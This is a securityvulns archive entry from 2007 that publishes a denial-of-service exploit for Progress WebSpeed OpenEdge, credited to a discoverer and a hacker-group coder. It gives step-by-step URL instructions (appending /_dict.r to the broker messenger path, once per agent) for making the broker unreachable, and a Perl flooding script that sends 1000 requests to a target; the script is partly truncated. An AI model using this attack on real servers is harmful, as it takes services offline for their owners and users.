Webspeed OpenEdge Dos exploit

Type securityvulns
Reporter Securityvulns
Modified 2007-05-14T00:00:00


Webspeed OpenEdge Dos exploit

Bug Discovered By :Eelko Neven

Exploit Coded By spyMASter

Şeklimizide koyalım : ) www.ulpow.net The Eliminators of the Web

First you have to find the messenger execution url. For example:

http://target/scripts/cgiip.exe/WService=wsbroker1 http://target/scripts/wsisa.dll/WService=wsbroker1

just add the following to the url: /_dict.r

your url will look like this: http://target/scripts/cgiip.exe/WService=wsbroker1/_dict.r

When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.

Tested with Progress 10b in production mode.

print "U.LP.O.W\n"; print "www.ulpow.net\n"; print "The Eliminators of the Web\n";
print "Usage:perl webspeed.pl targetsite targetpage\n";

} else {

$site = $ARGV[0]; $page = $ARGV[1];

print "Attack Started\n";


do { $ish++; use IO::Socket; $socket = new IO::Socket::INET( PeerAddr => $site, PeerPort => 80, Proto => 'tcp', Type => SOCK_STREAM, ) or die "Couldn't Connect to target please check again address!\n"; print $socket "GET $page HTTP/1.0\r\n"; close($socket); } while ($ish < 1000);

print ":-; Attack Complete\n"; }